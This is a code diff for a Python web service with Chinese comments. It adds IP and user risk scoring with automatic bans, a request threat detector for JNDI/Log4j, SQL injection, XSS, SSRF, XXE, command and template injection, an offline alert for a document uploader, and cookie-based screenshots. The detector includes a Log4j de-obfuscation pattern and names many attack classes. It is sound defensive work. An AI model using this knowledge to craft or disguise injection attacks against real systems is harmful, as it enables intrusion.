+    def _update_user_score(self, user_id: int, score_delta: int):
+        """更新用户风险分"""
+        if user_id is None:
+            return
+        user_id_int = int(user_id)
+        delta = int(score_delta)
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            self._update_scores(cursor, "", user_id_int, delta, now_str)
+            conn.commit()
+
+    def reset_ip_score(self, ip: str) -> bool:
+        """清零指定IP的风险分"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return False
+
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("SELECT ip FROM ip_risk_scores WHERE ip = ?", (ip_text,))
+            row = cursor.fetchone()
+            if row:
+                cursor.execute(
+                    "UPDATE ip_risk_scores SET risk_score = 0, last_seen = ?, updated_at = ? WHERE ip = ?",
+                    (now_str, now_str, ip_text),
+                )
+            else:
+                cursor.execute(
+                    """
+                    INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
+                    VALUES (?, 0, ?, ?, ?)
+                    """,
+                    (ip_text, now_str, now_str, now_str),
+                )
+            conn.commit()
+        return True
+
+    def _update_scores(
+        self,
+        cursor,
+        ip: str,
+        user_id: Optional[int],
+        score_delta: int,
+        now_str: str,
+    ) -> _ScoreUpdateResult:
+        ip_score = 0
+        user_score = 0
+
+        if ip:
+            cursor.execute("SELECT risk_score FROM ip_risk_scores WHERE ip = ?", (ip,))
+            row = cursor.fetchone()
+            current = int(row["risk_score"]) if row else 0
+            ip_score = max(0, min(100, current + int(score_delta)))
+            if row:
+                cursor.execute(
+                    "UPDATE ip_risk_scores SET risk_score = ?, last_seen = ?, updated_at = ? WHERE ip = ?",
+                    (ip_score, now_str, now_str, ip),
+                )
+            else:
+                cursor.execute(
+                    """
+                    INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
+                    VALUES (?, ?, ?, ?, ?)
+                    """,
+                    (ip, ip_score, now_str, now_str, now_str),
+                )
+
+        if user_id is not None:
+            cursor.execute("SELECT risk_score FROM user_risk_scores WHERE user_id = ?", (int(user_id),))
+            row = cursor.fetchone()
+            current = int(row["risk_score"]) if row else 0
+            user_score = max(0, min(100, current + int(score_delta)))
+            if row:
+                cursor.execute(
+                    "UPDATE user_risk_scores SET risk_score = ?, last_seen = ?, updated_at = ? WHERE user_id = ?",
+                    (user_score, now_str, now_str, int(user_id)),
+                )
+            else:
+                cursor.execute(
+                    """
+                    INSERT INTO user_risk_scores (user_id, risk_score, last_seen, created_at, updated_at)
+                    VALUES (?, ?, ?, ?, ?)
+                    """,
+                    (int(user_id), user_score, now_str, now_str, now_str),
+                )
+
+        return _ScoreUpdateResult(ip_score=ip_score, user_score=user_score)
+
+    def _get_auto_ban_actions(
+        self,
+        cursor,
+        ip: str,
+        user_id: Optional[int],
+        threat_type: str,
+        score: int,
+        update: _ScoreUpdateResult,
+    ) -> tuple[Optional["_BanAction"], Optional["_BanAction"]]:
+        ip_action: Optional[_BanAction] = None
+        user_action: Optional[_BanAction] = None
+
+        if threat_type == C.THREAT_TYPE_JNDI_INJECTION:
+            if ip:
+                ip_action = _BanAction(reason="JNDI injection detected", permanent=True)
+            if user_id is not None:
+                user_action = _BanAction(reason="JNDI injection detected", permanent=True)
+            return ip_action, user_action
+
+        if ip and update.ip_score >= 100:
+            ip_action = _BanAction(reason="Risk score reached 100", duration_hours=self.auto_ban_duration_hours)
+        if user_id is not None and update.user_score >= 100:
+            user_action = _BanAction(reason="Risk score reached 100", duration_hours=self.auto_ban_duration_hours)
+
+        if score < self.high_risk_threshold:
+            return ip_action, user_action
+
+        window_start = (get_cst_now() - timedelta(hours=self.high_risk_window_hours)).strftime("%Y-%m-%d %H:%M:%S")
+
+        if ip:
+            cursor.execute(
+                """
+                SELECT COUNT(*) AS cnt
+                FROM threat_events
+                WHERE ip = ? AND score >= ? AND created_at >= ?
+                """,
+                (ip, int(self.high_risk_threshold), window_start),
+            )
+            row = cursor.fetchone()
+            cnt = int(row["cnt"]) if row else 0
+            if cnt >= self.high_risk_permanent_ban_count:
+                ip_action = _BanAction(reason="High-risk threats threshold reached", permanent=True)
+
+        if user_id is not None:
+            cursor.execute(
+                """
+                SELECT COUNT(*) AS cnt
+                FROM threat_events
+                WHERE user_id = ? AND score >= ? AND created_at >= ?
+                """,
+                (int(user_id), int(self.high_risk_threshold), window_start),
+            )
+            row = cursor.fetchone()
+            cnt = int(row["cnt"]) if row else 0
+            if cnt >= self.high_risk_permanent_ban_count:
+                user_action = _BanAction(reason="High-risk threats threshold reached", permanent=True)
+
+        return ip_action, user_action
+
+    def _get_behavior_bonus(self, ip: str, user_id: Optional[int]) -> int:
+        return 0
+
+    def _hours_since(self, dt_str: Optional[str], now) -> int:
+        if not dt_str:
+            return 0
+        try:
+            dt = parse_cst_datetime(str(dt_str))
+        except Exception:
+            return 0
+        seconds = (now - dt).total_seconds()
+        if seconds <= 0:
+            return 0
+        return int(seconds // 3600)
+
+    def _apply_hourly_decay(self, score: int, hours: int) -> int:
+        score_int = max(0, int(score))
+        if score_int <= 0 or hours <= 0:
+            return score_int
+        decayed = int(math.floor(score_int * (0.9**int(hours))))
+        return max(0, min(100, decayed))

security/threat_detector.py

@@ -0,0 +1,410 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+from dataclasses import dataclass
+from typing import Any, Iterable, List, Optional, Tuple
+from urllib.parse import unquote_plus
+
+from . import constants as C
+
+
+@dataclass
+class ThreatResult:
+    threat_type: str
+    score: int
+    field_name: str
+    rule: str = ""
+    matched: str = ""
+    value_preview: str = ""
+
+    def to_dict(self) -> dict:
+        return {
+            "threat_type": self.threat_type,
+            "score": int(self.score),
+            "field_name": self.field_name,
+            "rule": self.rule,
+            "matched": self.matched,
+            "value_preview": self.value_preview,
+        }
+
+
+class ThreatDetector:
+    def __init__(
+        self,
+        *,
+        max_value_length: int = 4096,
+        max_decode_rounds: int = 2,
+    ) -> None:
+        self.max_value_length = max(64, int(max_value_length))
+        self.max_decode_rounds = max(0, int(max_decode_rounds))
+
+    def scan_input(self, value: Any, field_name: str = "value") -> List[ThreatResult]:
+        """扫描单个输入值（支持 dict/list 等嵌套结构）。"""
+        results: List[ThreatResult] = []
+        for sub_field, leaf in self._flatten_value(value, field_name):
+            text = self._stringify(leaf)
+            if not text:
+                continue
+            if len(text) > self.max_value_length:
+                text = text[: self.max_value_length]
+            results.extend(self._scan_text(text, sub_field))
+        results.sort(key=lambda r: int(r.score), reverse=True)
+        return results
+
+    def scan_request(self, request: Any) -> List[ThreatResult]:
+        """扫描整个请求对象（兼容 Flask Request / dict 风格对象）。"""
+        results: List[ThreatResult] = []
+        for field_name, value in self._extract_request_fields(request):
+            results.extend(self.scan_input(value, field_name))
+        results.sort(key=lambda r: int(r.score), reverse=True)
+        return results
+
+    # ==================== Internal scanning ====================
+
+    def _scan_text(self, text: str, field_name: str) -> List[ThreatResult]:
+        hits: List[ThreatResult] = []
+
+        for check in [
+            self._check_jndi_injection,
+            self._check_sql_injection,
+            self._check_xss,
+            self._check_path_traversal,
+            self._check_command_injection,
+            self._check_ssrf,
+            self._check_xxe,
+            self._check_template_injection,
+            self._check_sensitive_path_probe,
+        ]:
+            result = check(text)
+            if result:
+                threat_type, score, rule, matched = result
+                hits.append(
+                    ThreatResult(
+                        threat_type=threat_type,
+                        score=int(score),
+                        field_name=field_name,
+                        rule=rule,
+                        matched=matched,
+                        value_preview=self._preview(text),
+                    )
+                )
+
+        return hits
+
+    def _check_jndi_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        # 1) Direct match
+        m = C.JNDI_DIRECT_RE.search(text)
+        if m:
+            return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_DIRECT, "JNDI_DIRECT", m.group(0))
+
+        # 2) URL-decoded
+        decoded = self._multi_unquote(text)
+        if decoded != text:
+            m2 = C.JNDI_DIRECT_RE.search(decoded)
+            if m2:
+                return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_DIRECT, "JNDI_DIRECT_URL_DECODED", m2.group(0))
+
+        # 3) Obfuscation patterns (raw/decoded)
+        for candidate, rule in [(text, "JNDI_OBFUSCATED"), (decoded, "JNDI_OBFUSCATED_URL_DECODED")]:
+            m3 = C.JNDI_OBFUSCATED_RE.search(candidate)
+            if m3:
+                return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_OBFUSCATED, rule, m3.group(0))
+
+        # 4) Try limited de-obfuscation to reveal ${jndi:...}
+        deobf = self._deobfuscate_log4j(decoded)
+        if deobf and deobf != decoded:
+            m4 = C.JNDI_DIRECT_RE.search(deobf)
+            if m4:
+                return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_OBFUSCATED, "JNDI_DEOBFUSCATED", m4.group(0))
+
+        # 5) Nested expression heuristic
+        for candidate in [text, decoded]:
+            m5 = C.NESTED_EXPRESSION_RE.search(candidate)
+            if m5:
+                return (C.THREAT_TYPE_NESTED_EXPRESSION, C.SCORE_NESTED_EXPRESSION, "NESTED_EXPRESSION", m5.group(0))
+
+        return None
+
+    def _check_sql_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        candidates = [text, self._multi_unquote(text)]
+        for candidate in candidates:
+            m = C.SQLI_UNION_SELECT_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SQL_INJECTION, C.SCORE_SQL_INJECTION, "SQLI_UNION_SELECT", m.group(0))
+            m = C.SQLI_OR_1_EQ_1_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SQL_INJECTION, C.SCORE_SQL_INJECTION, "SQLI_OR_1_EQ_1", m.group(0))
+        return None
+
+    def _check_xss(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        candidates = [text, self._multi_unquote(text)]
+        for candidate in candidates:
+            m = C.XSS_SCRIPT_TAG_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_SCRIPT_TAG", m.group(0))
+            m = C.XSS_JS_PROTOCOL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_JS_PROTOCOL", m.group(0))
+            m = C.XSS_INLINE_EVENT_HANDLER_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_INLINE_EVENT_HANDLER", m.group(0))
+        return None
+
+    def _check_path_traversal(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates = [text, decoded]
+        for candidate in candidates:
+            m = C.PATH_TRAVERSAL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_PATH_TRAVERSAL, C.SCORE_PATH_TRAVERSAL, "PATH_TRAVERSAL", m.group(0))
+        return None
+
+    def _check_command_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates = [text, decoded]
+        for candidate in candidates:
+            m = C.CMD_INJECTION_SUBSHELL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_COMMAND_INJECTION, C.SCORE_COMMAND_INJECTION, "CMD_SUBSHELL", m.group(0))
+            m = C.CMD_INJECTION_OPERATOR_WITH_CMD_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_COMMAND_INJECTION, C.SCORE_COMMAND_INJECTION, "CMD_OPERATOR_WITH_CMD", m.group(0))
+        return None
+
+    def _check_ssrf(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m = C.SSRF_LOCALHOST_URL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_LOCALHOST{suffix}", m.group(0))
+            m = C.SSRF_INTERNAL_IP_URL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_INTERNAL_IP{suffix}", m.group(0))
+            m = C.SSRF_DANGEROUS_PROTOCOL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_DANGEROUS_PROTOCOL{suffix}", m.group(0))
+
+        return None
+
+    def _check_xxe(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m_doctype = C.XXE_DOCTYPE_RE.search(candidate)
+            if not m_doctype:
+                continue
+            m_entity = C.XXE_ENTITY_RE.search(candidate)
+            if not m_entity:
+                continue
+            m_sys_pub = C.XXE_SYSTEM_PUBLIC_RE.search(candidate)
+            if not m_sys_pub:
+                continue
+            matched = f"{m_doctype.group(0)} {m_entity.group(0)} {m_sys_pub.group(0)}"
+            return (C.THREAT_TYPE_XXE, C.SCORE_XXE, f"XXE_KEYWORD_COMBO{suffix}", matched)
+
+        return None
+
+    def _check_template_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m = C.TEMPLATE_JINJA_EXPR_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_TEMPLATE_INJECTION, C.SCORE_TEMPLATE_INJECTION, f"TEMPLATE_JINJA_EXPR{suffix}", m.group(0))
+            m = C.TEMPLATE_JINJA_STMT_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_TEMPLATE_INJECTION, C.SCORE_TEMPLATE_INJECTION, f"TEMPLATE_JINJA_STMT{suffix}", m.group(0))
+            m = C.TEMPLATE_VELOCITY_DIRECTIVE_RE.search(candidate)
+            if m:
+                return (
+                    C.THREAT_TYPE_TEMPLATE_INJECTION,
+                    C.SCORE_TEMPLATE_INJECTION,
+                    f"TEMPLATE_VELOCITY_DIRECTIVE{suffix}",
+                    m.group(0),
+                )
+
+        return None
+
+    def _check_sensitive_path_probe(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m = C.SENSITIVE_PATH_DOTFILES_RE.search(candidate)
+            if m:
+                return (
+                    C.THREAT_TYPE_SENSITIVE_PATH_PROBE,
+                    C.SCORE_SENSITIVE_PATH_PROBE,
+                    f"SENSITIVE_PATH_DOTFILES{suffix}",
+                    m.group(0),
+                )
+            m = C.SENSITIVE_PATH_PROBE_RE.search(candidate)
+            if m:
+                return (
+                    C.THREAT_TYPE_SENSITIVE_PATH_PROBE,
+                    C.SCORE_SENSITIVE_PATH_PROBE,
+                    f"SENSITIVE_PATH_PROBE{suffix}",
+                    m.group(0),
+                )
+
+        return None
+
+    # ==================== Helpers ====================
+
+    def _preview(self, text: str, limit: int = 160) -> str:
+        s = text.replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t")
+        if len(s) <= limit:
+            return s
+        return s[: limit - 3] + "..."
+
+    def _stringify(self, value: Any) -> str:
+        if value is None:
+            return ""
+        if isinstance(value, bytes):
+            try:
+                return value.decode("utf-8", errors="ignore")
+            except Exception:
+                return ""
+        try:
+            return str(value)
+        except Exception:
+            return ""
+
+    def _multi_unquote(self, text: str) -> str:
+        s = text
+        for _ in range(self.max_decode_rounds):
+            try:
+                nxt = unquote_plus(s)
+            except Exception:
+                break
+            if nxt == s:
+                break
+            s = nxt
+        return s
+
+    def _deobfuscate_log4j(self, text: str) -> str:
+        # Replace ${...:-x} with x (including ${::-x}).
+        # This is intentionally conservative to reduce false positives.
+        import re
+
+        s = text
+        pattern = re.compile(r"\$\{[^{}]{0,50}:-([a-zA-Z])\}")
+        for _ in range(3):
+            nxt = pattern.sub(lambda m: m.group(1), s)
+            if nxt == s:
+                break
+            s = nxt
+        return s
+
+    def _flatten_value(self, value: Any, field_name: str) -> Iterable[Tuple[str, Any]]:
+        if isinstance(value, dict):
+            for k, v in value.items():
+                key = self._stringify(k) or "key"
+                sub_name = f"{field_name}.{key}" if field_name else key
+                yield from self._flatten_value(v, sub_name)
+            return
+        if isinstance(value, (list, tuple, set)):
+            for i, v in enumerate(value):
+                sub_name = f"{field_name}[{i}]"
+                yield from self._flatten_value(v, sub_name)
+            return
+        yield (field_name, value)
+
+    def _extract_request_fields(self, request: Any) -> List[Tuple[str, Any]]:
+        # dict-like input (useful for unit tests / non-Flask callers)
+        if isinstance(request, dict):
+            out: List[Tuple[str, Any]] = []
+            for k, v in request.items():
+                out.append((self._stringify(k) or "request", v))
+            return out
+
+        out: List[Tuple[str, Any]] = []
+
+        # path / method
+        for attr_name in ["method", "path", "full_path", "url", "remote_addr"]:
+            try:
+                v = getattr(request, attr_name, None)
+            except Exception:
+                v = None
+            if v:
+                out.append((attr_name, v))
+
+        # args / form (Flask MultiDict)
+        out.extend(self._extract_multidict(getattr(request, "args", None), "args"))
+        out.extend(self._extract_multidict(getattr(request, "form", None), "form"))
+
+        # headers
+        try:
+            headers = getattr(request, "headers", None)
+            if headers is not None:
+                try:
+                    items = headers.items()
+                except Exception:
+                    items = []
+                for k, v in items:
+                    out.append((f"headers.{self._stringify(k)}", v))
+        except Exception:
+            pass
+
+        # cookies
+        try:
+            cookies = getattr(request, "cookies", None)
+            if isinstance(cookies, dict):
+                for k, v in cookies.items():
+                    out.append((f"cookies.{self._stringify(k)}", v))
+        except Exception:
+            pass
+
+        # json body
+        data = None
+        try:
+            get_json = getattr(request, "get_json", None)
+            if callable(get_json):
+                data = get_json(silent=True)
+        except Exception:
+            data = None
+
+        if data is not None:
+            for name, v in self._flatten_value(data, "json"):
+                out.append((name, v))
+            return out
+
+        # raw body (as a fallback)
+        try:
+            get_data = getattr(request, "get_data", None)
+            if callable(get_data):
+                raw = get_data(cache=True, as_text=True)
+                if raw:
+                    out.append(("body", raw))
+        except Exception:
+            pass
+
+        return out
+
+    def _extract_multidict(self, md: Any, prefix: str) -> List[Tuple[str, Any]]:
+        out: List[Tuple[str, Any]] = []
+        if md is None:
+            return out
+        try:
+            items = md.items(multi=True)
+        except Exception:
+            try:
+                items = md.items()
+            except Exception:
+                return out
+        for k, v in items:
+            out.append((f"{prefix}.{self._stringify(k)}", v))
+        return out

services/maintenance.py

@@ -4,6 +4,7 @@ from __future__ import annotations
 
 import threading
 import time
+from datetime import datetime
 
 from app_config import get_config
 from app_logger import get_logger
@@ -26,6 +27,9 @@ USER_ACCOUNTS_EXPIRE_SECONDS = int(getattr(config, "USER_ACCOUNTS_EXPIRE_SECONDS
 BATCH_TASK_EXPIRE_SECONDS = int(getattr(config, "BATCH_TASK_EXPIRE_SECONDS", 21600))
 PENDING_RANDOM_EXPIRE_SECONDS = int(getattr(config, "PENDING_RANDOM_EXPIRE_SECONDS", 7200))
 
+# 金山文档离线通知状态：每次掉线只通知一次，恢复在线后重置
+_kdocs_offline_notified: bool = False
+
 
 def cleanup_expired_data() -> None:
     """定期清理过期数据，防止内存泄漏（逻辑保持不变）。"""
@@ -91,6 +95,87 @@ def cleanup_expired_data() -> None:
         logger.debug(f"已清理 {deleted_random} 个过期随机延迟任务")
 
 
+def check_kdocs_online_status() -> None:
+    """检测金山文档登录状态，如果离线则发送邮件通知管理员（每次掉线只通知一次）"""
+    global _kdocs_offline_notified
+
+    try:
+        import database
+        from services.kdocs_uploader import get_kdocs_uploader
+
+        # 获取系统配置
+        cfg = database.get_system_config()
+        if not cfg:
+            return
+
+        # 检查是否启用了金山文档功能
+        kdocs_enabled = int(cfg.get("kdocs_enabled") or 0)
+        if not kdocs_enabled:
+            return
+
+        # 检查是否启用了管理员通知
+        admin_notify_enabled = int(cfg.get("kdocs_admin_notify_enabled") or 0)
+        admin_notify_email = (cfg.get("kdocs_admin_notify_email") or "").strip()
+        if not admin_notify_enabled or not admin_notify_email:
+            return
+
+        # 获取金山文档状态
+        kdocs = get_kdocs_uploader()
+        status = kdocs.get_status()
+        login_required = status.get("login_required", False)
+        last_login_ok = status.get("last_login_ok")
+
+        # 如果需要登录或最后登录状态不是成功
+        is_offline = login_required or (last_login_ok is False)
+
+        if is_offline:
+            # 已经通知过了，不再重复通知
+            if _kdocs_offline_notified:
+                logger.debug("[KDocs监控] 金山文档离线，已通知过，跳过重复通知")
+                return
+
+            # 发送邮件通知
+            try:
+                import email_service
+
+                now_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
+                subject = "【金山文档离线告警】需要重新登录"
+                body = f"""
+您好，
+
+系统检测到金山文档上传功能已离线，需要重新扫码登录。
+
+检测时间：{now_str}
+状态详情：
+- 需要登录：{login_required}
+- 上次登录状态：{last_login_ok}
+
+请尽快登录后台，在"系统配置"→"金山文档上传"中点击"获取登录二维码"重新登录。
+
+---
+此邮件由系统自动发送，请勿直接回复。
+"""
+                email_service.send_email_async(
+                    to_email=admin_notify_email,
+                    subject=subject,
+                    body=body,
+                    email_type="kdocs_offline_alert",
+                )
+                _kdocs_offline_notified = True  # 标记为已通知
+                logger.warning(f"[KDocs监控] 金山文档离线，已发送通知邮件到 {admin_notify_email}")
+            except Exception as e:
+                logger.error(f"[KDocs监控] 发送离线通知邮件失败: {e}")
+        else:
+            # 恢复在线，重置通知状态
+            if _kdocs_offline_notified:
+                logger.info("[KDocs监控] 金山文档已恢复在线，重置通知状态")
+                _kdocs_offline_notified = False
+            logger.debug("[KDocs监控] 金山文档状态正常")
+
+    except Exception as e:
+        logger.error(f"[KDocs监控] 检测失败: {e}")
+
+
 def start_cleanup_scheduler() -> None:
     """启动定期清理调度器"""
 
@@ -106,3 +191,22 @@ def start_cleanup_scheduler() -> None:
     cleanup_thread.start()
     logger.info("内存清理调度器已启动")
 
+
+def start_kdocs_monitor() -> None:
+    """启动金山文档状态监控"""
+
+    def monitor_loop():
+        # 启动后等待 60 秒再开始检测（给系统初始化的时间）
+        time.sleep(60)
+        while True:
+            try:
+                check_kdocs_online_status()
+                time.sleep(300)  # 每5分钟检测一次
+            except Exception as e:
+                logger.error(f"[KDocs监控] 监控任务执行失败: {e}")
+                time.sleep(60)
+
+    monitor_thread = threading.Thread(target=monitor_loop, daemon=True, name="kdocs-monitor")
+    monitor_thread.start()
+    logger.info("[KDocs监控] 金山文档状态监控已启动（每5分钟检测一次）")
+

services/scheduler.py

@@ -87,19 +87,32 @@ def run_scheduled_task(skip_weekday_check: bool = False) -> None:
         cfg = database.get_system_config()
         enable_screenshot_scheduled = cfg.get("enable_screenshot", 0) == 1
 
+        user_accounts = {}
+        account_ids = []
         for user in approved_users:
             user_id = user["id"]
             accounts = safe_get_user_accounts_snapshot(user_id)
             if not accounts:
                 load_user_accounts(user_id)
                 accounts = safe_get_user_accounts_snapshot(user_id)
+            if accounts:
+                user_accounts[user_id] = accounts
+                account_ids.extend(list(accounts.keys()))
+
+        account_statuses = database.get_account_status_batch(account_ids)
+
+        for user in approved_users:
+            user_id = user["id"]
+            accounts = user_accounts.get(user_id, {})
+            if not accounts:
+                continue
             for account_id, account in accounts.items():
                 total_accounts += 1
 
                 if account.is_running:
                     continue
 
-                account_status_info = database.get_account_status(account_id)
+                account_status_info = account_statuses.get(str(account_id))
                 if account_status_info:
                     status = account_status_info["status"] if "status" in account_status_info.keys() else "active"
                     if status == "suspended":
@@ -150,6 +163,16 @@ def scheduled_task_worker() -> None:
     """定时任务工作线程"""
     import schedule
 
+    def decay_risk_scores():
+        """风险分衰减：每天定时执行一次"""
+        try:
+            from security.risk_scorer import RiskScorer
+
+            RiskScorer().decay_scores()
+            logger.info("[定时任务] 风险分衰减已执行")
+        except Exception as e:
+            logger.exception(f"[定时任务] 风险分衰减执行失败: {e}")
+
     def cleanup_expired_captcha():
         try:
             deleted_count = safe_cleanup_expired_captcha()
@@ -362,7 +385,12 @@ def scheduled_task_worker() -> None:
         if schedule_time_cst != str(schedule_time_raw or "").strip():
             logger.warning(f"[定时任务] 系统定时时间格式无效，已回退到 {schedule_time_cst} (原值: {schedule_time_raw!r})")
 
-        signature = (schedule_enabled, schedule_time_cst)
+        risk_decay_time_raw = os.environ.get("RISK_SCORE_DECAY_TIME_CST", "04:00")
+        risk_decay_time_cst = _normalize_hhmm(risk_decay_time_raw, default="04:00")
+        if risk_decay_time_cst != str(risk_decay_time_raw or "").strip():
+            logger.warning(f"[定时任务] 风险分衰减时间格式无效，已回退到 {risk_decay_time_cst} (原值: {risk_decay_time_raw!r})")
+
+        signature = (schedule_enabled, schedule_time_cst, risk_decay_time_cst)
         config_changed = schedule_state.get("signature") != signature
         is_first_run = schedule_state.get("signature") is None
         if (not force) and (not config_changed):
@@ -374,6 +402,8 @@ def scheduled_task_worker() -> None:
         cleanup_time_cst = "03:00"
         schedule.every().day.at(cleanup_time_cst).do(cleanup_old_data)
 
+        schedule.every().day.at(risk_decay_time_cst).do(decay_risk_scores)
+
         schedule.every().hour.do(cleanup_expired_captcha)
 
         quota_reset_time_cst = "00:00"
@@ -381,6 +411,7 @@ def scheduled_task_worker() -> None:
 
         if is_first_run:
             logger.info(f"[定时任务] 已设置数据清理任务: 每天 CST {cleanup_time_cst}")
+            logger.info(f"[定时任务] 已设置风险分衰减: 每天 CST {risk_decay_time_cst}")
             logger.info(f"[定时任务] 已设置验证码清理任务: 每小时执行一次")
             logger.info(f"[定时任务] 已设置SMTP配额重置: 每天 CST {quota_reset_time_cst}")
 

services/screenshots.py

@@ -3,15 +3,16 @@
 from __future__ import annotations
 
 import os
+import shutil
+import subprocess
 import time
 
 import database
 import email_service
+from api_browser import APIBrowser, get_cookie_jar_path, is_cookie_jar_fresh
 from app_config import get_config
 from app_logger import get_logger
 from browser_pool_worker import get_browser_worker_pool
-from playwright_automation import PlaywrightAutomation
-from services.browser_manager import get_browser_manager
 from services.client_log import log_to_client
 from services.runtime import get_socketio
 from services.state import safe_get_account, safe_remove_task_status, safe_update_task_status
@@ -24,6 +25,165 @@ config = get_config()
 SCREENSHOTS_DIR = config.SCREENSHOTS_DIR
 os.makedirs(SCREENSHOTS_DIR, exist_ok=True)
 
+_WKHTMLTOIMAGE_TIMEOUT_SECONDS = int(os.environ.get("WKHTMLTOIMAGE_TIMEOUT_SECONDS", "60"))
+_WKHTMLTOIMAGE_JS_DELAY_MS = int(os.environ.get("WKHTMLTOIMAGE_JS_DELAY_MS", "3000"))
+_WKHTMLTOIMAGE_WIDTH = int(os.environ.get("WKHTMLTOIMAGE_WIDTH", "1920"))
+_WKHTMLTOIMAGE_HEIGHT = int(os.environ.get("WKHTMLTOIMAGE_HEIGHT", "1080"))
+_WKHTMLTOIMAGE_QUALITY = int(os.environ.get("WKHTMLTOIMAGE_QUALITY", "95"))
+_WKHTMLTOIMAGE_ZOOM = float(os.environ.get("WKHTMLTOIMAGE_ZOOM", "1.0"))
+_WKHTMLTOIMAGE_FULL_PAGE = str(os.environ.get("WKHTMLTOIMAGE_FULL_PAGE", "")).strip().lower() in (
+    "1",
+    "true",
+    "yes",
+    "on",
+)
+_env_crop_w = os.environ.get("WKHTMLTOIMAGE_CROP_WIDTH")
+_env_crop_h = os.environ.get("WKHTMLTOIMAGE_CROP_HEIGHT")
+_WKHTMLTOIMAGE_CROP_WIDTH = int(_env_crop_w) if _env_crop_w is not None else _WKHTMLTOIMAGE_WIDTH
+_WKHTMLTOIMAGE_CROP_HEIGHT = (
+    int(_env_crop_h) if _env_crop_h is not None else (_WKHTMLTOIMAGE_HEIGHT if _WKHTMLTOIMAGE_HEIGHT > 0 else 0)
+)
+_WKHTMLTOIMAGE_CROP_X = int(os.environ.get("WKHTMLTOIMAGE_CROP_X", "0"))
+_WKHTMLTOIMAGE_CROP_Y = int(os.environ.get("WKHTMLTOIMAGE_CROP_Y", "0"))
+_WKHTMLTOIMAGE_UA = os.environ.get(
+    "WKHTMLTOIMAGE_USER_AGENT",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+)
+
+
+def _resolve_wkhtmltoimage_path() -> str | None:
+    return os.environ.get("WKHTMLTOIMAGE_PATH") or shutil.which("wkhtmltoimage")
+
+
+def _read_cookie_pairs(cookies_path: str) -> list[tuple[str, str]]:
+    if not cookies_path or not os.path.exists(cookies_path):
+        return []
+    pairs = []
+    try:
+        with open(cookies_path, "r", encoding="utf-8", errors="ignore") as f:
+            for line in f:
+                line = line.strip()
+                if not line or line.startswith("#"):
+                    continue
+                parts = line.split("\t")
+                if len(parts) < 7:
+                    continue
+                name = parts[5].strip()
+                value = parts[6].strip()
+                if name:
+                    pairs.append((name, value))
+    except Exception:
+        return []
+    return pairs
+
+
+def _select_cookie_pairs(pairs: list[tuple[str, str]]) -> list[tuple[str, str]]:
+    preferred_names = {"ASP.NET_SessionId", ".ASPXAUTH"}
+    preferred = [(name, value) for name, value in pairs if name in preferred_names and value]
+    if preferred:
+        return preferred
+    return [(name, value) for name, value in pairs if name and value and name.isascii() and value.isascii()]
+
+
+def _ensure_login_cookies(account, proxy_config, log_callback) -> bool:
+    """确保有可用的登录 cookies（通过 API 登录刷新）"""
+    try:
+        with APIBrowser(log_callback=log_callback, proxy_config=proxy_config) as api_browser:
+            if not api_browser.login(account.username, account.password):
+                return False
+            return api_browser.save_cookies_for_screenshot(account.username)
+    except Exception:
+        return False
+
+
+def take_screenshot_wkhtmltoimage(
+    url: str,
+    output_path: str,
+    cookies_path: str | None = None,
